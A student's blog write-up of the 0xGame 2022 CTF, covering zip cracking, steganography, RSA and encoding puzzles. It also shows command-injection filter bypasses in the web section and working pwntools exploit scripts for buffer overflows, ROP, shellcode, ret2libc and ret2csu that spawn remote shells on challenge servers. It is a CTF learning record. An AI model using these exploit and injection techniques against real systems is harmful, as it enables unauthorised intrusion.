Unauth401's Blog
Unauth401's Blog

0xGame 2022 WriteUp

年轻人的第一场CTF

 Unauth401 收录于 CTF-WP
  

年轻人的第一场正经CTF。

据学长说往届人比这一届要多得多，但这一届一个RE，一个WEB，一个全栈，真·萌新的我直接被打烂。都说自己是零基础，就我是真零基础 :joker: 。

经此一役，最后选择打PWN了。

0xGame2022 WP

So, here is unauth401.

Sorry, unauthorized.

Week 1

ez

MISC

signin

记得给小绿草信息安全科创实验室点点关注呦~

按描述走就行。

看不见的字符

开始的时候只查了unicode没带着隐写，后来才知道零宽度字符隐写这回事，卡了好久（

描述中有有0？0在哪里，结合文件内容，估计是个隐写题。

结合用VSCode打开文件时能看出有unicode字符，搜索Unicode 隐写可以找到这里

用在线工具梭一把就能梭出来。

不过记得把文件内容复制全，要不然出不来正确答案。可以使用记事本然后全选复制。

出来的字符串是base64编码过的，解码之即得flag。

Ezpcap

你知道\x7b和\x7d对应的字符是什么吗？

拖进WireShark，没啥思路。

随便翻翻，有不认识的协议，也有TCP，但只有2对HTTP请求。

总不能在第一周就把flag藏在TCP流里吧（

翻看之……

嗯？buuoj容器靶机的URL参数里有%7b和%7d？{和}是吧？

嗯？还有0xGame？

复制之，去掉中间的参数名称，提交。

嗯，下一题。

好多压缩包

下周压缩包如果还有新活估计我就不会了qwq

嗯，一个zip。

第一层

什么年代了还有人用六位数字当密码

直接爆破之。

Windows可以用Advanced Archive Password Recovery，有GUI直接搞起就好。

Linux可以用zip2john（我没用这个做出了问题别来捶我qwq）。

第二层

你这加密太假了。

伪加密是吧？直接拖进16进制编辑器。

查看CSDN/非官方解析/官方文档可以知道以下内容。

1
2
3
4
5
6
7
8
9

50 4B 03 04 全局文件头
--中间隔2个byte--
00 00       这里存放全局flags。下面会展开说。

50 4B 01 02 目录区域头部
--中间隔4个byte--
00 00       这里存放文件flags。下面和全局的flag一起说。

50 4B 05 06 目录区域结束标记

如果你看的是CSDN，他们解伪加密的做法是把文件区的flags改成00 00，或者随便改成奇数/偶数，从结果上来讲这么干OK，但从文档看这么干会丢失信息。（但似乎不会对解压造成影响，具体是为什么可能要看官方文档了）

如果你只想解伪加密，上面这些已经够用了，00 00大法好，你可以直接跳过下面的解析直接去看第三层。

参照非官方解析可以了解到，这里的2个byte、16个bit，每一位都有对应的用途（或者是reserved，现在没用）且采用小端序存储（简单来说就是把0x1234按0x34 0x12的顺序存储）。

用来存放加密情况的的有第0位encrypted file，指示文件是否加密；和第6位strong encription，具体含义需要翻官方文档，但跟伪加密这里似乎关系不大。我也没在官方文档里翻到zipcrypto之类的字样（跟第四部分的明文攻击有关）也许改天闲着可以翻翻。所以我就先摸了

所以，我们只需要把第一个byte里的数值减掉1即可。比如09 00改成08 00、01 00改成00 00即可。

这里还有一个坑，因为这里zip是一层包一层，所以你需要改的是最外层的文件flag，即最后一个50 4B 01 02 XX XX 09 00的09 00改成08 00即可。

不要太勤快把所有的文件区flag都改掉。文件损坏了别来找我。

别问我我怎么知道的。

第三层

?o?a?w?f 密码有点看不清了，好像是全小写的英文字母

如果你玩过hashcat或者为了蹭网gank过邻居的wifi，你可能接触过这个。

掩码攻击对吧？已知字符集直接让暴力破解轻松不少。

具体都是啥请百度之。

工具沿用之前的就可以。

第四层

如果您不想花时间压缩文件，只需存储它们即可

这提示除了有点生硬之外满分（

解压出来一个文件和另一个压缩包。

嗯？外面的文件名和里面的文件一样？嘶原大小好像也一样呢……

这不就有搞头了？

隆重介绍，zip明文攻击。

原理介绍请右转百度吧，绝对比我讲得好。

以压缩级别存储给明文打一个包，看一眼CRC32，一样的。工具梭一把就行。

工具也接着沿用就行。Linux那边hashcat可能用不了，可以用bkcrack。

顺便说一嘴，只要拿到3组key，就可以让AAPR停下来然后保存解密好的文件了。

打开flag.txt，提交。

下一题。

旅游照片

最开始以为要让我看云和太阳确定方位再进入下一步，直到我看见了没删的Exif。

找飞机数据库的时候前几个都是加密的，最后一个我看到了注册才能看就直接以为还要花钱，结果根本不用……

TL;DR:

右键 -> 属性 -> 详细信息 -> 找到拍摄时间 -> 飞机机翼上有航空器注册识别号直接搜索之 -> 找到对应飞机 -> 找到当天的两班航班 -> 试一试 -> 下一题

Exif可以深究，航空器系统也可以深究。

前者应该可以算Misc范围内的，后者就算了（

奇怪的符号

Extension: Search by Image YYDS!!!!!

挠头挠了一天，晚上顺手丢进搜图扩展。

惊喜来自Yandex。开头的几张图就有了相似的东西。

Zelda Sheikah Translator Free (Android Apps)

哦~~~~

Google之，填入密文，decrypt之。

Misc题解喜加一。

垃圾邮件

*********orz

md竟然有这种东西

这波算是在历史的!$)!!)($$$$$#%&!)（哔————）

使用魔法，全文搜索，可以搜出来一个SPAM encode。

嗯。

查询米斯克出题人精神状态。

搜索米斯克出题人地址。

pop&push&loop

CRYPTO

我最先AK的是CRYPTO是我没想到的

SimpleBabyEasyRSA

p,q,e都给了那就算呗……

会算同余方程的可以手撕d但我不行qwq

会用密码学库的似乎也能弄出来更简单的代码但我不会qwq

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

p=59
q=97
e=37
n=p*q
phi=(p-1)*(q-1)
c=3738
#########################
# GET d #1
d=0
while d*e%phi!=1:
    d+=1
#########################
# GET d #2 elegent
import gmpy2
d=gmpy2.invert(e,phi)
#########################
m=pow(c,d,n)

import hashlib
flag_str=str(d)+str(m)
md5=hashlib.md5()
md5.update(flag_str.encode())
print(md5.hexdigest())

Vigenere

在线工具一把梭。

原理请dd群内大佬。好像之前提过重合指数这个东西……

Factor

同学，听说过一个叫factordb的东西吗？

把n丢进factordb，p和q就来了。

嗯。那让我们重新回到SimpleBabyEasyRSA。

最后转换回字符我手动敲的十六进制（

啧，不够优雅。

但下面这个版本已经足够elegent

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

p=9735957770491659841
q=18254685097880877413
n=177726843226591634556244030635816071333
phi=(p-1)*(q-1)
e=0x10001
c=49549088434190402681586345733724247189

import gmpy2
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
m_str=hex(m)[2:]

import binascii
m_hex=binascii.a2b_hex(m_str)
print(m_hex.decode())

ext_Affine

有个加密就叫Affine，但我急着抢分我就没看（嘿嘿

对128取模是吧，反正128不大，位数也不过30多位，看我直接爆破。

虽然不知道取模之前是几倍的128，但架不住你数小、我算的快而且还都是可显示字符啊~

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

a=27
b=121
with open("cipher.txt","rb")as f:
    cipher=f.read()
    f.close()
dec=""
for c in cipher:
    while 1:
        if 33<=(c-b)/a<=126 and (c-b)%a==0:
            dec+=chr(int((c-b)/a))
            break
        c+=128
print(dec)

简单套娃

套娃简单是吗？那就多套几层

这道题用到的很多在线解码器都可以在这里找到。

第一层：社会主义核心价值观编码（Core Values Encoder）

第二层：阴阳怪气编码 在线工具链接

第三层：Morse电码

如果你第三层用的解码器解不出特殊字符的话你这里就很容易卡住。

%u7b&%u7d熟悉不？

替换之。

现在好像该有的都有了就是顺序不对了。

骚年，你听说过栅栏密码吗？

第四层：栅栏密码

据说密钥可以算，但我是一个一个试的（

嘶结构有了但是字符还是不对啊？

那你一定听说过凯撒吧？

第五层：凯撒密码

收工。

web

抢了两个一血嘿嘿

Where_U_From

visit /flaggeeee in localhost

哦。Postman启动！

加上XFF头，下一步。

login in to find real flag in /re3l_flag ^__^

哦。先GET一波。

嘶，没啥变化…看一看header…

Cookie: login=0

0 => 1

下一步。

plz post something to me then i send my flag to you 0__0

哦。

GET => POST

收工。

Myrobots

虽然notices里说过0xGame了但还是想给出题人一拳（

-> GET /robots.txt

<- flag in FFFFl3gggg.txt

-> GET /FFFFl3gggg.txt

<- 0xgame{XXXXXXXXXXXXX}

login

login as admin

第一次看没反应过来，第二次看才想到/login.php

啥？五位数密码？

PyCharm启动！脚本启动！

本来寻思懒得写前序零补位就先爆破10000-99999结果密码是01234……

登录，好像没啥东西的样子，那就F12大法。

哦~

再看一眼URL：

?f=dogs_diary/d5

这不来一手文件包含？

?f=/tmp/flag

收工

ez_rce

PHP是世界上最好的语言！

关键函数：preg_match()，匹配正则表达式中的内容然后换掉。

参考这篇，双写绕过。

param1=syssystemtem

关键特性：Linux可以命令可以分多行执行，比如这样：

1
2
3

apt-get install -y \
      vim gcc g++ \
      tree bmon nethogs

这样也没问题（\、'、"绕过）

1
2
3
4
5
6

apt-\
get inst\
        al""l -y \
      vim g\
          cc g++ \
      tree b""mon netho''gs

假设过滤了flag，那就用fl\ag罢。

param2=ca\t /f\lag

如果你不知道flag在哪您可能还需要find / -iname fl\ag

POST http://47.96.3.142:8004?param1=syssystemtem HTTP/1.1

param2=find / -iname fl\ag param2=ca\t fl\ag

reverse

re1

骚年，你知道F5大法吗？

拖进ida，f5之，收工。

re3

指针是个好东西

tasklist.append(“C语言指针”)

依旧ida+F5，第一眼能看出来puts/gets。还有Z后面的一堆没看懂是啥，以及为啥要+4。

动态一波，目标字符串第一位是Z，那就构造一个base64后第一位是Z的字符串喂进去。

结果发现+4指的就是内存地址……md巨亏。

直接把那一段字符挨个抄出来，base64解码，完事。

pwn

pwn1

骚年，你知道nc吗？

照着给的地址nc连上去，直接拿到shell。

怪不得没附件（

pwn2

例行file&checksec，64bit_dyn，开了NX和半RELRO。

do you know ret2text?

可这跟我想ret2text有什么关系呢？

有个小坑：这里直接取backdoor函数的地址0x401235会打不通。

system中存在movqs xmmword指令，这类指令要求涉及到的所有地址16byte对齐。这里涉及到rsp。

所以可以无脑加个ret或者跳过plt.system开头的一个push还是pop来着（记不太清了）直接跳到lea “/bin/sh”。

1
2
3
4
5
6
7
8

from pwn import *
context(os="linux",arch="amd64","log_level"=debug)
s=remote("49.233.15.226",8002)
backdor_addr=0x40123d
p=b"a"*0x58+p64(backdor_addr)
s.sendline(p)
s.interactive()
s.close()

pwn3

不就是传参嘛~

基本情况同pwn2。

有system，但不是binsh了，但有binsh。

那还是好搞。

binsh地址有了，system地址有了，考虑怎么把binsh传给system就完事了。

64位传参顺序：rdi,rsi,rdx,rcx,r8,r9,栈

那我们来找一找有没有gadget。比如pop rdi;ret之类的。

ROPgadget –bin pwn3 –only “pop|ret” | grep rdi

还真有。那就好办了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

from pwn import *
context(os="linux",arch="amd64","log_level"=debug)
s=remote("49.233.15.226",8003)
binsh_addr=0x404048
system_addr=0x401254
rdi_addr=0x4012c3
p=b"a"*0xa8+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
s.sendafter(b"harder,can you hack me?",p)
s.interactive()
s.close()

pwn4

没有保护不是随便乱搞？

例行file&checksec，64bit_dyn，没有保护。

没有system和binsh，且没有保护，考虑shellcode。

gift地址正好是buf的起始地址，shellcode输进buf然后覆盖掉rbp，ret到buf执行shellcode。

一个小坑：生成shellcode默认32位，如果想生成64位的话需要声明arch="amd64"。

1
2
3
4
5
6
7
8
9

from pwn import *
context(os="linux",arch="amd64","log_level"=debug)
s=remote("49.233.15.226",8004)
s.recvuntil(b"ohohoh,look here: ")
gift_addr=eval(s.recvline().strip(b"\n"))
shellcode=asm(shellcraft.sh())
s.sendafter(b"now,do you want to say something?\n",shellcode.ljust(88,b"a")+p64(gift_addr))
s.interactive()
s.close()

pwn5

一壶茶，一包烟，一道pwn题看一天。（真的是一天）

保护同23，只不过这回啥都没了。

按照学啥考啥的思想这题应该是ret2libc了吧（

看ctf-wiki看了一天，配LibcSearcher配了一天最后反倒都没用上qwq

关键点：

  • 用栈溢出前执行过的函数，泄露函数地址。（本题选择__libc_start_main）

    由于延迟绑定，只有执行过的函数才会绑定内存地址。详见ctf-wiki/其他的书。

  • 把libc拖进IDA，找对应函数于基址的偏移量，以此计算libc基址。
  • one_gadget梭libc可以梭出来几个execve，配合ROPgadget选择符合使用条件的gadget。

    比如这题的execve有用r12r15、rsirdx的，rdxr15的（可能记错但大体意思…懂吧…），然后ROPgadget找出来有pop r12; pop r13; pop r14; pop r15; ret，就选用r12r15的那个

第一次溢出拿内存地址、控制函数重走一遍main，内存地址用来算出libc中execve的地址，重走一遍来拿shell。

细节点：

  • 传参
  • 写本地exp的时候怎么导入libc

后话：后来winmt师傅说可以看看patchelf，这种方法不稳。

后来我也就都用patchelf，没再用过下面脚本这种了。具体稳不稳我也就不得而知了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import *
from LibcSearcher import LibcSearcher

context(os="linux",arch="amd64",log_level="debug")
#s=process(["./ld-2.31.so","./pwn5"],env={"LD_PRELOAD": "./libc-2.31.so"})
s=remote("49.233.15.226",8005)

pwn5elf=ELF("./pwn5")
puts_plt=pwn5elf.plt["puts"]
libc_start_main_got=pwn5elf.got["__libc_start_main"]
main=pwn5elf.symbols["main"]

rdi_addr=0x4012f3

#gdb.attach(s)

p1=flat([b"a"*0x58,p64(rdi_addr),libc_start_main_got,puts_plt,main])
s.sendlineafter(b"this time,you want to read how many words?\n",b"-1")
s.send(p1)

libc_start_main_addr=s.recvuntil(b"\n").strip(b"\n")
libc_start_main_addr+=b"\x00"*(8-len(libc_start_main_addr))
lb_addr=u64(libc_start_main_addr)-0x23f90

offset_execve=0xe3afe+lb_addr
r15_r12_addr=0x4012ec

print(hex(offset_execve))

p2=flat([b"a"*0x58,p64(r15_r12_addr),0,0,0,0,p64(offset_execve)])
s.sendlineafter(b"this time,you want to read how many words?\n",b"-1")
s.send(p2)

s.interactive()
s.close()

pwn6

能控制的东西一定要全控。

虽然直接ROP梭的话rdi,rsi,execve都有，但找不到rdx的，那就换条路吧。

ret2csu，gadget在init函数里。通过r12-r15控制edi,rsi,rdx。

本来想着在本地rbx不动它也是0那就不动了，没想到远端打不通……

那就还是控一下吧……

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

from pwn import *
from LibcSearcher import LibcSearcher

context(os="linux",arch="amd64",log_level="debug")
#s=process("./pwn6")
#gdb.attach(s)
s=remote("49.233.15.226",8008)

csu_init_addr=0x4012f0
binsh_addr=0x40201d
execve_got_addr=0x404030
rbx_rbp_r12_to_r15_addr=0x40130a

p=flat([b"a"*0x58,rbx_rbp_r12_to_r15_addr,0,0,binsh_addr,0,0,execve_got_addr,csu_init_addr])
s.sendafter(b"Plz tell me sth : ",p)
s.interactive()
s.close()

Week 2

果然，第二周开始就可以准备退役了

MISC

boooooooooom

CTF-wiki 是个好东西（

TL;DR: CRC32爆破

有现成的代码，不过可能需要改一改。

BabyRe

人生苦短我用Python

TL;DR:

  • 先反编译pyc
  • 异或同一个数两遍等于没异或
  • 看着算法开逆就完事了
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

import base64

flag=open("out.txt","r").read()
flag=base64.b64decode(flag)
f=1
enc=[48]
for c in flag:
    if f:
        f=False
        continue
    enc.append(c-30)
i=1
while i<len(flag):
    x=enc[0]
    for j in range(1,i+1):
        x^=enc[j]
    print(chr(x),end="")
    i+=1

不太普通的图片

LSSSSSSSSSSSSSSSSB

TL;DR:

  • 图片LSB隐写
    • stegsolve里能找到一个密钥
    • 找个py脚本，把密钥喂进去，就能把flag拿出来了

隔空取物

这个之前明明看过但忘了，本该白捡的一血没了 凸(艹皿艹 )

参见这篇知乎专栏

不过这个题似乎不需要offset。

CRYPTO

linearEquation

达成成就：我用Python写Python、z3一把梭

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

from z3 import *
solver=Solver()
x0=Int('x0')
x1=Int('x1')
x2=Int('x2')
x3=Int('x3')
x4=Int('x4')
x5=Int('x5')
x6=Int('x6')
x7=Int('x7')
x8=Int('x8')
x9=Int('x9')
x10=Int('x10')
x11=Int('x11')
x12=Int('x12')
x13=Int('x13')
x14=Int('x14')
x15=Int('x15')
x16=Int('x16')
x17=Int('x17')
x18=Int('x18')
x19=Int('x19')
x20=Int('x20')
x21=Int('x21')
x22=Int('x22')
x23=Int('x23')
x24=Int('x24')
x25=Int('x25')
x26=Int('x26')
x27=Int('x27')
x28=Int('x28')
x29=Int('x29')
x30=Int('x30')
x31=Int('x31')
solver.add(x0 * 2905774839 + x1 * 937692645 + x2 * 2277996359 + x3 * 1574938713 + x4 * 825047075 + x5 * 1179013397 + x6 * 2366890081 + x7 * 3219529440 + x8 * 2414190453 + x9 * 3590757506 + x10 * 3909323650 + x11 * 2183139299 + x12 * 1579902159 + x13 * 3343902869 + x14 * 896068862 + x15 * 309758299 + x16 * 901531607 + x17 * 291291156 + x18 * 2546709881 + x19 * 4221036639 + x20 * 3505720382 + x21 * 3684857351 + x22 * 2022652786 + x23 * 451227475 + x24 * 3741251238 + x25 * 3997408590 + x26 * 2256908756 + x27 * 1334843411 + x28 * 4020591098 + x29 * 2114708609 + x30 * 79808585 + x31 * 2974805697 == 153629905098136685045)
solver.add(x0 * 633779458 + x1 * 760323050 + x2 * 3524136923 + x3 * 3404961172 + x4 * 3497719477 + x5 * 2036024833 + x6 * 2807481062 + x7 * 3579571169 + x8 * 1182247335 + x9 * 1473703468 + x10 * 1485764830 + x11 * 2344149245 + x12 * 2230867977 + x13 * 451381281 + x14 * 2729949187 + x15 * 1329480928 + x16 * 3036372799 + x17 * 1916707506 + x18 * 1408308101 + x19 * 3414819940 + x20 * 54157456 + x21 * 4081087004 + x22 * 81644901 + x23 * 1046457653 + x24 * 2786986628 + x25 * 3293369990 + x26 * 2547544255 + x27 * 1408426127 + x28 * 1700843152 + x29 * 4028585224 + x30 * 3882199080 + x31 * 4040732992 == 145118376676814378151)
solver.add(x0 * 1158359552 + x1 * 952473112 + x2 * 2469876874 + x3 * 1877922146 + x4 * 2681754384 + x5 * 441645489 + x6 * 1451082555 + x7 * 1282675826 + x8 * 3628741269 + x9 * 1538367477 + x10 * 4256030398 + x11 * 1551122815 + x12 * 2403304542 + x13 * 1198458285 + x14 * 2596160415 + x15 * 3952532206 + x16 * 1372310735 + x17 * 3735073437 + x18 * 686367724 + x19 * 158982013 + x20 * 1901981688 + x21 * 2045511526 + x22 * 1553141146 + x23 * 574875471 + x24 * 3881193717 + x25 * 281974061 + x26 * 3401680368 + x27 * 1071341816 + x28 * 3856818199 + x29 * 1543037830 + x30 * 2600897676 + x31 * 886793613 == 125136025093969380235)
solver.add(x0 * 3369804515 + x1 * 1388562875 + x2 * 2620029184 + x3 * 3424874122 + x4 * 2155070368 + x5 * 515581101 + x6 * 3448760104 + x7 * 1571958247 + x8 * 1344632695 + x9 * 3418066835 + x10 * 1055412931 + x11 * 2599736936 + x12 * 1682298601 + x13 * 3888231955 + x14 * 869443630 + x15 * 46802084 + x16 * 1434071143 + x17 * 537999569 + x18 * 3062214567 + x19 * 638588405 + x20 * 1418519591 + x21 * 921851625 + x22 * 1349011403 + x23 * 2504652024 + x24 * 1128409974 + x25 * 825642445 + x26 * 2980848614 + x27 * 3181702547 + x28 * 1665015471 + x29 * 1655900518 + x30 * 1737483004 + x31 * 4058968130 == 123888756483831750489)
solver.add(x0 * 2992139966 + x1 * 3421209457 + x2 * 1518056473 + x3 * 2934632866 + x4 * 474750728 + x5 * 1888643463 + x6 * 715133241 + x7 * 270269278 + x8 * 3453364309 + x9 * 2375169043 + x10 * 475758667 + x11 * 1550808440 + x12 * 870004412 + x13 * 2502311422 + x14 * 2802347419 + x15 * 3316934713 + x16 * 3072815429 + x17 * 1955447632 + x18 * 957468873 + x19 * 2003306503 + x20 * 2991846576 + x21 * 1052908526 + x22 * 852939089 + x23 * 2001031122 + x24 * 1763364759 + x25 * 318730434 + x26 * 2271963088 + x27 * 3167595340 + x28 * 186065313 + x29 * 3124233301 + x30 * 1558676638 + x31 * 229698311 == 136466432408823062440)
solver.add(x0 * 880826917 + x1 * 2298353220 + x2 * 13972845 + x3 * 2112342331 + x4 * 520363735 + x5 * 1669676202 + x6 * 2365942382 + x7 * 2454166357 + x8 * 86684296 + x9 * 4180997737 + x10 * 2651800933 + x11 * 3387852337 + x12 * 3569081096 + x13 * 412248780 + x14 * 2622374412 + x15 * 4004737267 + x16 * 3937062327 + x17 * 2122230024 + x18 * 508412261 + x19 * 925290104 + x20 * 2297262392 + x21 * 2615036583 + x22 * 956831662 + x23 * 2377853219 + x24 * 2129964002 + x25 * 711861720 + x26 * 1072575240 + x27 * 290600530 + x28 * 3557322638 + x29 * 1937025602 + x30 * 3942606369 + x31 * 848634526 == 135520634374716138253)
solver.add(x0 * 1667423245 + x1 * 3205256744 + x2 * 4218058651 + x3 * 4247786171 + x4 * 2902884888 + x5 * 1776716207 + x6 * 57317883 + x7 * 2810845945 + x8 * 4056618058 + x9 * 2442806270 + x10 * 189251210 + x11 * 175454169 + x12 * 1563217423 + x13 * 1584552187 + x14 * 4066113642 + x15 * 2678017765 + x16 * 1370397535 + x17 * 1796075905 + x18 * 3507132543 + x19 * 2375242245 + x20 * 1599167786 + x21 * 3353660587 + x22 * 2792999728 + x23 * 2513875102 + x24 * 3349313992 + x25 * 561973312 + x26 * 131599779 + x27 * 1780045940 + x28 * 181893476 + x29 * 1515423140 + x30 * 1695557088 + x31 * 1103274089 == 140870834889282733787)
solver.add(x0 * 2924743894 + x1 * 2747685610 + x2 * 703249631 + x3 * 2970835309 + x4 * 1709917538 + x5 * 2326038184 + x6 * 3850628518 + x7 * 1598044999 + x8 * 1230534089 + x9 * 2628050448 + x10 * 560260479 + x11 * 2827469192 + x12 * 1261659178 + x13 * 3473946812 + x14 * 2627319447 + x15 * 2783861426 + x16 * 1814833846 + x17 * 3969833864 + x18 * 4048131215 + x19 * 3849752757 + x20 * 3942527132 + x21 * 3218422785 + x22 * 1568409347 + x23 * 3959466355 + x24 * 2784582743 + x25 * 2996021365 + x26 * 1058302993 + x27 * 360568252 + x28 * 4120475817 + x29 * 612600724 + x30 * 3312442340 + x31 * 2780876242 == 162850348028726438719)
solver.add(x0 * 1616016662 + x1 * 3654249690 + x2 * 137386530 + x3 * 1430840003 + x4 * 413249034 + x5 * 512756864 + x6 * 4178200879 + x7 * 2530110366 + x8 * 2920225584 + x9 * 3182457452 + x10 * 1705355659 + x11 * 2866496197 + x12 * 4233807177 + x13 * 1885804809 + x14 * 1332101007 + x15 * 511987054 + x16 * 3709126878 + x17 * 1639834513 + x18 * 2331999251 + x19 * 3942139119 + x20 * 3452087731 + x21 * 3059112759 + x22 * 3445769324 + x23 * 128282305 + x24 * 895514710 + x25 * 3973866022 + x26 * 3074206386 + x27 * 2793860989 + x28 * 4208156768 + x29 * 1868752777 + x30 * 1128655300 + x31 * 4224750762 == 173549152139361191182)
solver.add(x0 * 1507751682 + x1 * 1846572164 + x2 * 2041260497 + x3 * 1124204604 + x4 * 803283004 + x5 * 2783064398 + x6 * 3894553701 + x7 * 1968388652 + x8 * 4001422379 + x9 * 3448449208 + x10 * 3520475047 + x11 * 2550138883 + x12 * 2389210163 + x13 * 126106238 + x14 * 2662172629 + x15 * 4261498421 + x16 * 3044233456 + x17 * 3644778899 + x18 * 870298634 + x19 * 2695223165 + x20 * 1650836877 + x21 * 1258482236 + x22 * 1063099544 + x23 * 3764404492 + x24 * 3967617774 + x25 * 1965577715 + x26 * 2446428246 + x27 * 1505068720 + x28 * 3981692241 + x29 * 3408565448 + x30 * 2781597153 + x31 * 3092390689 == 180393478529485883021)
solver.add(x0 * 351479342 + x1 * 503524980 + x2 * 1716292026 + x3 * 938189610 + x4 * 3362208287 + x5 * 280354280 + x6 * 2300444836 + x7 * 1468215142 + x8 * 3180887405 + x9 * 2532072979 + x10 * 1652875734 + x11 * 2254901041 + x12 * 259860786 + x13 * 3263784945 + x14 * 483273054 + x15 * 3166504792 + x16 * 914039776 + x17 * 4266192190 + x18 * 1042961273 + x19 * 181336626 + x20 * 669694284 + x21 * 2453653976 + x22 * 1389685958 + x23 * 2284711690 + x24 * 3317847597 + x25 * 2440906291 + x26 * 3042784363 + x27 * 1482188614 + x28 * 2369361990 + x29 * 324426473 + x30 * 1763743995 + x31 * 3934897747 == 117888147215252945859)
solver.add(x0 * 725022521 + x1 * 938746075 + x2 * 3633113215 + x3 * 4185273958 + x4 * 2800996696 + x5 * 2631729929 + x6 * 2692051893 + x7 * 3433724886 + x8 * 1616354254 + x9 * 3607913532 + x10 * 529812087 + x11 * 2791241832 + x12 * 1737462722 + x13 * 3641411598 + x14 * 1924632655 + x15 * 1616473457 + x16 * 3637886658 + x17 * 1858291856 + x18 * 1078390594 + x19 * 1887741658 + x20 * 2265350830 + x21 * 2676979191 + x22 * 1970124470 + x23 * 664078020 + x24 * 1808737559 + x25 * 2298779415 + x26 * 1388943648 + x27 * 4204667059 + x28 * 1073622448 + x29 * 3443318903 + x30 * 2171824304 + x31 * 1868209557 == 158683608359654647072)
solver.add(x0 * 650341618 + x1 * 2935581294 + x2 * 2644385881 + x3 * 1535307611 + x4 * 1016591324 + x5 * 815158333 + x6 * 1448798160 + x7 * 2641332727 + x8 * 270686394 + x9 * 2219311183 + x10 * 2967122700 + x11 * 3770872278 + x12 * 3541712142 + x13 * 3868017641 + x14 * 3555690826 + x15 * 802632927 + x16 * 3680835829 + x17 * 682966028 + x18 * 1194680003 + x19 * 894072837 + x20 * 1878364070 + x21 * 1331140614 + x22 * 965880101 + x23 * 1138566143 + x24 * 701720887 + x25 * 2742737986 + x26 * 3045938774 + x27 * 147247760 + x28 * 4094028215 + x29 * 204167974 + x30 * 3200135673 + x31 * 27026610 == 119553298425410260470)
solver.add(x0 * 3264996808 + x1 * 2331472878 + x2 * 2992654618 + x3 * 1337387837 + x4 * 3068330431 + x5 * 1897134387 + x6 * 2124686830 + x7 * 433732986 + x8 * 560852756 + x9 * 569523526 + x10 * 1635729292 + x11 * 3899076223 + x12 * 2599433468 + x13 * 2525044550 + x14 * 3233393817 + x15 * 1990368374 + x16 * 8003701 + x17 * 1649870439 + x18 * 429808458 + x19 * 2788914187 + x20 * 3183669167 + x21 * 4029467918 + x22 * 1823857717 + x23 * 3493646301 + x24 * 1619264007 + x25 * 1485689524 + x26 * 1136226577 + x27 * 2403749534 + x28 * 4188551850 + x29 * 19971766 + x30 * 3514606027 + x31 * 2659730746 == 129283893341689770873)
solver.add(x0 * 3179913872 + x1 * 1590442647 + x2 * 16192345 + x3 * 2330075242 + x4 * 655160953 + x5 * 4052746453 + x6 * 3225345308 + x7 * 3362725382 + x8 * 350986883 + x9 * 2257032841 + x10 * 203422664 + x11 * 1211339833 + x12 * 1005356492 + x13 * 3016854180 + x14 * 3052361161 + x15 * 667363442 + x16 * 1711948350 + x17 * 674085815 + x18 * 386890144 + x19 * 3422048832 + x20 * 127837425 + x21 * 1178013843 + x22 * 642733070 + x23 * 3317927971 + x24 * 470770850 + x25 * 1793530046 + x26 * 3190738311 + x27 * 1437576481 + x28 * 273211936 + x29 * 3162727862 + x30 * 172486187 + x31 * 3154971774 == 122131281329452040239)
solver.add(x0 * 1984698529 + x1 * 1445752975 + x2 * 556628780 + x3 * 1388438884 + x4 * 1249287957 + x5 * 355916806 + x6 * 317389095 + x7 * 3161347497 + x8 * 3059986980 + x9 * 3375424603 + x10 * 2501724356 + x11 * 3520286932 + x12 * 2650494784 + x13 * 3031688124 + x14 * 777396084 + x15 * 3712283044 + x16 * 2001084449 + x17 * 2179194542 + x18 * 330859108 + x19 * 4245370419 + x20 * 1597774590 + x21 * 279816529 + x22 * 2461029032 + x23 * 4024610466 + x24 * 2111027579 + x25 * 1607579079 + x26 * 2097268956 + x27 * 2069066877 + x28 * 2186433547 + x29 * 922721930 + x30 * 1292267441 + x31 * 2955441028 == 144038024275757774857)
solver.add(x0 * 1241308871 + x1 * 1393662036 + x2 * 4198993351 + x3 * 91138693 + x4 * 525807852 + x5 * 2577403449 + x6 * 86644570 + x7 * 1732667838 + x8 * 2939702570 + x9 * 2284810186 + x10 * 208700933 + x11 * 2215740017 + x12 * 3214773041 + x13 * 870729362 + x14 * 65832640 + x15 * 3610432908 + x16 * 522601813 + x17 * 175075843 + x18 * 1282298391 + x19 * 36747212 + x20 * 2587821571 + x21 * 4181954474 + x22 * 1445029272 + x23 * 153408069 + x24 * 3576784077 + x25 * 3813757427 + x26 * 3320262816 + x27 * 3551464465 + x28 * 3353985098 + x29 * 2447602934 + x30 * 3490733926 + x31 * 3993341361 == 123274418600692000659)
solver.add(x0 * 893304126 + x1 * 3166857574 + x2 * 2441202939 + x3 * 3327570642 + x4 * 3669549855 + x5 * 780027614 + x6 * 180713694 + x7 * 2647145856 + x8 * 2319909284 + x9 * 1561031212 + x10 * 4202799781 + x11 * 573281460 + x12 * 3493520432 + x13 * 3956590471 + x14 * 3037423252 + x15 * 3483144817 + x16 * 275082166 + x17 * 708813902 + x18 * 4034706302 + x19 * 2451646427 + x20 * 1709043422 + x21 * 3508904880 + x22 * 3914395210 + x23 * 1390932539 + x24 * 724980967 + x25 * 3605577362 + x26 * 523257167 + x27 * 869314102 + x28 * 921376992 + x29 * 3327052711 + x30 * 513275795 + x31 * 3636241417 == 157486161096751655213)
